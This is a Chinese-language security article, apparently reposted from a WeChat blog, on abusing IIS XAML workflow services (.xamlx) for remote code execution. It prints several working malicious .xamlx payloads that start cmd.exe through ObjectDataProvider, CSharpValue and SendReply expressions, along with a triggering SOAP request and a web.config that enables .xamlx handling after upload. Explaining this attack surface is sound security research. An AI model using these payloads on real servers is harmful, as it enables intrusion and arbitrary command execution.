隐秘的后门:XAML工作流的潜在风险

admin 2025年3月21日00:21:11评论8 views字数 6211阅读20分42秒阅读模式

前言

Web应用程序的安全一直是一个重要议题。除了常见的漏洞,一些不常用的功能也可能成为攻击者的突破口。今天我们来聊聊一种不太被重视的攻击面:XAML工作流服务。

XAML(Extensible Application Markup Language)是一种用于描述用户界面的标记语言。但你知道XAML也能用于定义服务器端的工作流服务吗?如果配置不当,这些工作流服务可能会带来严重的安全风险。

什么是XAML工作流服务?

XAML工作流服务是使用Windows Communication Foundation (WCF)实现的服务,它们使用XAML文件(通常带有.xamlx扩展名)来定义服务的行为。这种服务可以通过HTTP接收请求并执行一系列操作,例如处理数据、访问数据库,甚至执行系统命令。

靶机环境中可以通过添加.NET Framework 4下WCF服务的"HTTP激活"功能将其自动添加到IIS。实际环境中,受害者可能默认安装.NET Framework 4下所有服务,以此便成为攻击者的目标点。

隐秘的后门:XAML工作流的潜在风险

潜在的风险:代码执行

关键问题在于,XAML文件可以包含代码。这意味着攻击者可以通过上传精心构造的XAML 文件,在服务器上执行任意代码。这就像在你的网站上安装了一个隐秘的后门,攻击者可以随时通过这个后门入侵你的系统。

下面,让我们了解一下利用XAML文件的攻击方式。

1.反序列化漏洞

XAML文件在解析过程中可能存在反序列化漏洞。攻击者可以利用这些漏洞,在服务器上运行恶意代码。

XAML文件使用XML格式,而XML反序列化本身就可能存在安全风险。攻击者可以构造包含特殊对象的XAML文件,这些对象在反序列化时会执行恶意代码。攻击者可以利用ObjectDataProvider在XAML文件中调用.NET对象的方法,从而执行恶意代码。

<WorkflowService xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel">  <x:Array xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">    <Rd:ResourceDictionary xmlns:System="clr-namespace:System;assembly=mscorlib"                           xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System"                           xmlns:Rd="clr-namespace:System.Windows;assembly=PresentationFramework"                           xmlns:ODP="clr-namespace:System.Windows.Data;assembly=PresentationFramework">      <ODP:ObjectDataProvider x:Key="LaunchCmd" MethodName="Start">        <ODP:ObjectDataProvider.ObjectInstance>          <Diag:Process>            <Diag:Process.StartInfo>              <Diag:ProcessStartInfo FileName="cmd.exe" Arguments="/c calc" />            </Diag:Process.StartInfo>          </Diag:Process>        </ODP:ObjectDataProvider.ObjectInstance>      </ODP:ObjectDataProvider>    </Rd:ResourceDictionary>  </x:Array></WorkflowService>

上述代码片段演示了如何使用ObjectDataProvider在XAML文件中执行calc.exe命令。在实际攻击中,攻击者可以替换FileNameArguments执行任意系统命令,甚至下载和执行恶意程序。

2.内联代码执行

XAML文件本身就支持嵌入代码。攻击者可以利用这一特性,直接在XAML文件中编写恶意代码,并在服务器上执行。

例如,使用CSharpValue在XAML文件中执行任意代码:

<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:mca="clr-namespace:Microsoft.CSharp.Activities;assembly=System.Activities"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <p1:Sequence DisplayName="Sequential Service"> <p1:InvokeMethod DisplayName="test" MethodName="Start"> <p1:InvokeMethod.TargetObject> <p1:InArgument x:TypeArguments="sd:Process"> <mca:CSharpValuex:TypeArguments="sd:Process">System.Diagnostics.Process.Start("cmd.exe", "/ccalc")</mca:CSharpValue> </p1:InArgument> </p1:InvokeMethod.TargetObject> </p1:InvokeMethod> <Receive CanCreateInstance="True" OperationName="foobar" Action="testme" /> </p1:Sequence></WorkflowService>

在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc")为任何恶意代码,例如下载和执行恶意程序。

使用Expression和SendReply在XAML文件中执行任意代码:

<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel"xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" > <p:Sequence DisplayName="Sequential Service"> <TransactedReceiveScope Request="{x:Reference __r0}"> <p1:Sequence > <SendReply DisplayName="SendResponse" > <SendReply.Request> <Receive x:Name="__r0" CanCreateInstance="True"OperationName="SubmitPurchasingProposal" Action="testme" /> </SendReply.Request><SendMessageContent> <p1:InArgumentx:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/ccalc").toString()]</p1:InArgument> </SendMessageContent> </SendReply> </p1:Sequence> </TransactedReceiveScope> </p:Sequence></WorkflowService>

在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()为任何恶意代码,例如访问敏感数据或修改系统配置。

使用自定义代码注入在 XAML 文件中执行任意代码:

<WorkflowService ConfigurationName="Service1" Name="Service1"xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:mca="clr-namespace:Microsoft.CSharp.Activities;assembly=System.Activities"xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"> <p1:Sequence DisplayName="Sequential Service"> <p1:InvokeMethod DisplayName="test" MethodName="Start"> <p1:InvokeMethod.TargetObject> <p1:InArgument x:TypeArguments="sd:Process"> <mca:CSharpValuex:TypeArguments="sd:Process">/*/System.Diagnostics.Process.Start("");returnbase.RewriteExpressionTree(expression);} System.Diagnostics.Process x =System.Diagnostics.Process.Start("cmd.exe", "/ccalc"); [System.Diagnostics.DebuggerHiddenAttribute()] public System.Diagnostics.Process @__Expr0Get() {return x; </mca:CSharpValue> </p1:InArgument> </p1:InvokeMethod.TargetObject> </p1:InvokeMethod> <Receive CanCreateInstance="True" OperationName="foobar" Action="testme" /> </p1:Sequence></WorkflowService>

在实际攻击中,攻击者可以替换System.Diagnostics.Process.Start("cmd.exe", "/c calc")为任何恶意代码,例如窃取用户凭据或控制整个服务器。

然后,攻击者可以尝试执行以下请求来触发payload执行。

POST /upload/uploaded.xamlx HTTP/1.1Host: www.***.comSOAPAction: testmeContent-Type: text/xmlContent-Length: 94

XAMLX支持的缺失:配置的潜在风险

即使服务器安装了.NET Framework,XAMLX文件的支持也可能没有在IIS中正确配置。这通常表现为服务器无法识别.xamlx扩展名,导致无法正常处理XAML工作流服务。

攻击者可能会尝试上传一个自定义的web.config文件来启用对XAMLX文件的支持。这个web.config文件会修改IIS的配置,将.xamlx扩展名与相应的处理程序关联起来。

<?xml version="1.0" encoding="UTF-8"?><configuration>  <system.webServer>    <handlers accessPolicy="Read, Script, Write">      <add name="xamlx" path="*.xamlx" verb="*"type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0,Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler"requireAccess="Script" preCondition="integratedMode" />      <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule"scriptProcessor="%windir%Microsoft.NETFramework64v4.0.30319aspnet_isapi.dll"requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />    </handlers>    <validation validateIntegratedModeConfiguration="false" />  </system.webServer></configuration>

关于XOML (已过时的技术):潜在的风险残留

XOML(Extensible Object Markup Language)是一种较早的XAML版本,也被用于定义工作流服务。虽然XOML已经被XAMLX取代,但一些旧的系统中可能仍然存在对XOML的支持。

历史上,XOML文件也曾受到反序列化漏洞的影响。攻击者可以利用这些漏洞,在服务器上执行任意代码。

总结

XAML工作流服务虽然是一个功能强大的工具,但也可能带来安全风险。

原文始发于微信公众号(Ghost Wolf Lab):隐秘的后门:XAML工作流的潜在风险

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月21日00:21:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   隐秘的后门:XAML工作流的潜在风险https://cn-sec.com/archives/3865241.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息